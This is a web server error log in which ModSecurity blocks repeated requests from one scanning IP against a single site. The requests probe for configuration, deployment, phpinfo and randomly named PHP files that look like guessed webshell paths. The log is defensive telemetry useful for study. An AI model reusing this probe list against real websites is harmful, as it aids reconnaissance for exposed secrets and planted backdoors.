[Sat Apr 25 05:04:43.774571 2026] [:error] [pid 46083:tid 46098] [client 20.251.112.6:6122] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/setup.php"] [unique_id "aeva6zxw_Zq74vWdjmkPbQAAAQs"]
[Sat Apr 25 05:04:44.302680 2026] [:error] [pid 46083:tid 46108] [client 20.251.112.6:6115] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/setup.php"] [unique_id "aeva7Dxw_Zq74vWdjmkPbwAAARQ"]
[Sat Apr 25 05:04:44.836407 2026] [:error] [pid 44425:tid 44427] [client 20.251.112.6:6112] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/setup.php"] [unique_id "aeva7CUl-VlItvY2tR_sEQAAAMA"]
[Sat Apr 25 05:04:45.402500 2026] [:error] [pid 44320:tid 44376] [client 20.251.112.6:6101] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/setup.php"] [unique_id "aeva7TmFqSpku_dij8hlngAAAFQ"]
[Sat Apr 25 05:04:45.923357 2026] [:error] [pid 44320:tid 44373] [client 20.251.112.6:6119] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/development.php"] [unique_id "aeva7TmFqSpku_dij8hlnwAAAFE"]
[Sat Apr 25 05:04:46.444997 2026] [:error] [pid 44425:tid 44434] [client 20.251.112.6:6125] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/development.php"] [unique_id "aeva7iUl-VlItvY2tR_sEwAAAMc"]
[Sat Apr 25 05:04:46.965627 2026] [:error] [pid 46083:tid 46104] [client 20.251.112.6:6118] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/development.php"] [unique_id "aeva7jxw_Zq74vWdjmkPfwAAARE"]
[Sat Apr 25 05:04:47.501851 2026] [:error] [pid 46083:tid 46109] [client 20.251.112.6:6033] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/development.php"] [unique_id "aeva7zxw_Zq74vWdjmkPgwAAARU"]
[Sat Apr 25 05:04:48.056558 2026] [:error] [pid 46083:tid 46093] [client 20.251.112.6:6036] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/environment.php"] [unique_id "aeva8Dxw_Zq74vWdjmkPhgAAAQY"]
[Sat Apr 25 05:04:48.575431 2026] [:error] [pid 46083:tid 46092] [client 20.251.112.6:6050] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/environment.php"] [unique_id "aeva8Dxw_Zq74vWdjmkPigAAAQU"]
[Sat Apr 25 05:04:49.095661 2026] [:error] [pid 46083:tid 46104] [client 20.251.112.6:6034] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/environment.php"] [unique_id "aeva8Txw_Zq74vWdjmkPjwAAARE"]
[Sat Apr 25 05:04:49.616696 2026] [:error] [pid 44319:tid 44342] [client 20.251.112.6:6140] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/environment.php"] [unique_id "aeva8czJPAVLUb2pWtJEbAAAAA0"]
[Sat Apr 25 05:04:50.136204 2026] [:error] [pid 46083:tid 46088] [client 20.251.112.6:6072] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/db_config.php"] [unique_id "aeva8jxw_Zq74vWdjmkPkwAAAQE"]
[Sat Apr 25 05:04:50.662950 2026] [:error] [pid 44319:tid 44335] [client 20.251.112.6:5979] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/db_config.php"] [unique_id "aeva8szJPAVLUb2pWtJEbwAAAAY"]
[Sat Apr 25 05:04:51.198837 2026] [:error] [pid 44425:tid 44447] [client 20.251.112.6:6129] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/db_config.php"] [unique_id "aeva8yUl-VlItvY2tR_sFQAAANQ"]
[Sat Apr 25 05:04:51.719062 2026] [:error] [pid 44320:tid 44358] [client 20.251.112.6:6105] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/db_config.php"] [unique_id "aeva8zmFqSpku_dij8hloQAAAEI"]
[Sat Apr 25 05:04:52.274181 2026] [:error] [pid 44321:tid 44390] [client 20.251.112.6:6045] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Get_Site_Info.php"] [unique_id "aeva9I1b5lV-asWa_Y4XQAAAAIc"]
[Sat Apr 25 05:04:52.791715 2026] [:error] [pid 44320:tid 44365] [client 20.251.112.6:5956] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Get_Site_Info.php"] [unique_id "aeva9DmFqSpku_dij8hlowAAAEk"]
[Sat Apr 25 05:04:53.314030 2026] [:error] [pid 46083:tid 46089] [client 20.251.112.6:5952] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Get_Site_Info.php"] [unique_id "aeva9Txw_Zq74vWdjmkPmgAAAQI"]
[Sat Apr 25 05:04:53.834732 2026] [:error] [pid 44320:tid 44363] [client 20.251.112.6:6019] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Get_Site_Info.php"] [unique_id "aeva9TmFqSpku_dij8hlpQAAAEc"]
[Sat Apr 25 05:04:54.360738 2026] [:error] [pid 44321:tid 44407] [client 20.251.112.6:6026] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/deploy.php"] [unique_id "aeva9o1b5lV-asWa_Y4XQgAAAJg"]
[Sat Apr 25 05:04:54.883340 2026] [:error] [pid 44320:tid 44367] [client 20.251.112.6:6127] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/deploy.php"] [unique_id "aeva9jmFqSpku_dij8hlpgAAAEs"]
[Sat Apr 25 05:04:55.407119 2026] [:error] [pid 44320:tid 44368] [client 20.251.112.6:6061] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/deploy.php"] [unique_id "aeva9zmFqSpku_dij8hlqAAAAEw"]
[Sat Apr 25 05:04:55.930890 2026] [:error] [pid 44320:tid 44359] [client 20.251.112.6:6069] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/deploy.php"] [unique_id "aeva9zmFqSpku_dij8hlqQAAAEM"]
[Sat Apr 25 05:04:56.457396 2026] [:error] [pid 44320:tid 44360] [client 20.251.112.6:6077] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apis.php"] [unique_id "aeva-DmFqSpku_dij8hlqgAAAEQ"]
[Sat Apr 25 05:04:56.977569 2026] [:error] [pid 44320:tid 44378] [client 20.251.112.6:6035] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apis.php"] [unique_id "aeva-DmFqSpku_dij8hlrAAAAFY"]
[Sat Apr 25 05:04:57.498751 2026] [:error] [pid 46083:tid 46103] [client 20.251.112.6:6057] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apis.php"] [unique_id "aeva-Txw_Zq74vWdjmkPpQAAARA"]
[Sat Apr 25 05:04:58.017757 2026] [:error] [pid 44321:tid 44399] [client 20.251.112.6:6131] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apis.php"] [unique_id "aeva-o1b5lV-asWa_Y4XQwAAAJA"]
[Sat Apr 25 05:04:58.541525 2026] [:error] [pid 44320:tid 44361] [client 20.251.112.6:6044] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asdf.php"] [unique_id "aeva-jmFqSpku_dij8hlsAAAAEU"]
[Sat Apr 25 05:04:59.060721 2026] [:error] [pid 44320:tid 44380] [client 20.251.112.6:6106] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asdf.php"] [unique_id "aeva-zmFqSpku_dij8hlswAAAFg"]
[Sat Apr 25 05:04:59.617339 2026] [:error] [pid 44425:tid 44440] [client 20.251.112.6:6065] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asdf.php"] [unique_id "aeva-yUl-VlItvY2tR_sHgAAAM0"]
[Sat Apr 25 05:05:00.228006 2026] [:error] [pid 44425:tid 44446] [client 20.251.112.6:5971] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asdf.php"] [unique_id "aeva_CUl-VlItvY2tR_sIQAAANM"]
[Sat Apr 25 05:05:00.858807 2026] [:error] [pid 44425:tid 44441] [client 20.251.112.6:6001] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1100.php"] [unique_id "aeva_CUl-VlItvY2tR_sIgAAAM4"]
[Sat Apr 25 05:05:01.393908 2026] [:error] [pid 44321:tid 44401] [client 20.251.112.6:5980] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1100.php"] [unique_id "aeva_Y1b5lV-asWa_Y4XRgAAAJI"]
[Sat Apr 25 05:05:02.115106 2026] [:error] [pid 44425:tid 44445] [client 20.251.112.6:5974] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1100.php"] [unique_id "aeva_iUl-VlItvY2tR_sJgAAANI"]
[Sat Apr 25 05:05:02.675953 2026] [:error] [pid 44425:tid 44435] [client 20.251.112.6:6049] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1100.php"] [unique_id "aeva_iUl-VlItvY2tR_sJwAAAMg"]
[Sat Apr 25 05:05:03.304633 2026] [:error] [pid 44425:tid 44433] [client 20.251.112.6:6041] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/._info.php"] [unique_id "aeva_yUl-VlItvY2tR_sKAAAAMY"]
[Sat Apr 25 05:05:03.846571 2026] [:error] [pid 44425:tid 44444] [client 20.251.112.6:5983] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/._info.php"] [unique_id "aeva_yUl-VlItvY2tR_sKQAAANE"]
[Sat Apr 25 05:05:04.366928 2026] [:error] [pid 46083:tid 46088] [client 20.251.112.6:5957] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/._info.php"] [unique_id "aevbADxw_Zq74vWdjmkQBgAAAQE"]
[Sat Apr 25 05:05:04.886733 2026] [:error] [pid 44321:tid 44389] [client 20.251.112.6:6136] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/._info.php"] [unique_id "aevbAI1b5lV-asWa_Y4XRwAAAIY"]
[Sat Apr 25 05:05:05.407191 2026] [:error] [pid 46083:tid 46099] [client 20.251.112.6:6029] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/php_flag.php"] [unique_id "aevbATxw_Zq74vWdjmkQGwAAAQw"]
[Sat Apr 25 05:05:05.938995 2026] [:error] [pid 44425:tid 44432] [client 20.251.112.6:6086] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/php_flag.php"] [unique_id "aevbASUl-VlItvY2tR_sLQAAAMU"]
[Sat Apr 25 05:05:06.456935 2026] [:error] [pid 44425:tid 44430] [client 20.251.112.6:5998] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/php_flag.php"] [unique_id "aevbAiUl-VlItvY2tR_sMAAAAMM"]
[Sat Apr 25 05:05:06.978941 2026] [:error] [pid 44321:tid 44405] [client 20.251.112.6:6093] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/php_flag.php"] [unique_id "aevbAo1b5lV-asWa_Y4XSAAAAJY"]
[Sat Apr 25 05:05:07.508276 2026] [:error] [pid 44320:tid 44367] [client 20.251.112.6:5981] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test_info4.php"] [unique_id "aevbAzmFqSpku_dij8hluQAAAEs"]
[Sat Apr 25 05:05:08.026789 2026] [:error] [pid 44321:tid 44392] [client 20.251.112.6:6134] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test_info4.php"] [unique_id "aevbBI1b5lV-asWa_Y4XSQAAAIk"]
[Sat Apr 25 05:05:08.567141 2026] [:error] [pid 44321:tid 44406] [client 20.251.112.6:5987] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test_info4.php"] [unique_id "aevbBI1b5lV-asWa_Y4XSgAAAJc"]
[Sat Apr 25 05:05:09.093396 2026] [:error] [pid 44425:tid 44441] [client 20.251.112.6:6037] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test_info4.php"] [unique_id "aevbBSUl-VlItvY2tR_sNAAAAM4"]
[Sat Apr 25 05:05:09.614924 2026] [:error] [pid 44319:tid 44332] [client 20.251.112.6:6024] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test_phpinfo2.php"] [unique_id "aevbBczJPAVLUb2pWtJEsQAAAAM"]
[Sat Apr 25 05:05:10.135369 2026] [:error] [pid 44319:tid 44336] [client 20.251.112.6:5961] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test_phpinfo2.php"] [unique_id "aevbBszJPAVLUb2pWtJEsgAAAAc"]
[Sat Apr 25 05:05:10.672193 2026] [:error] [pid 46083:tid 46102] [client 20.251.112.6:6088] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test_phpinfo2.php"] [unique_id "aevbBjxw_Zq74vWdjmkQMgAAAQ8"]
[Sat Apr 25 05:05:11.194749 2026] [:error] [pid 46083:tid 46093] [client 20.251.112.6:6100] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test_phpinfo2.php"] [unique_id "aevbBzxw_Zq74vWdjmkQNwAAAQY"]
[Sat Apr 25 05:05:11.717356 2026] [:error] [pid 44319:tid 44331] [client 20.251.112.6:6054] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/HsFPDcD.php"] [unique_id "aevbB8zJPAVLUb2pWtJEtQAAAAI"]
[Sat Apr 25 05:05:12.242653 2026] [:error] [pid 44319:tid 44352] [client 20.251.112.6:6090] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/HsFPDcD.php"] [unique_id "aevbCMzJPAVLUb2pWtJEtgAAABc"]
[Sat Apr 25 05:05:12.786640 2026] [:error] [pid 44321:tid 44383] [client 20.251.112.6:6083] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/HsFPDcD.php"] [unique_id "aevbCI1b5lV-asWa_Y4XUgAAAIA"]
[Sat Apr 25 05:05:13.305270 2026] [:error] [pid 44425:tid 44430] [client 20.251.112.6:6064] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/HsFPDcD.php"] [unique_id "aevbCSUl-VlItvY2tR_sPgAAAMM"]
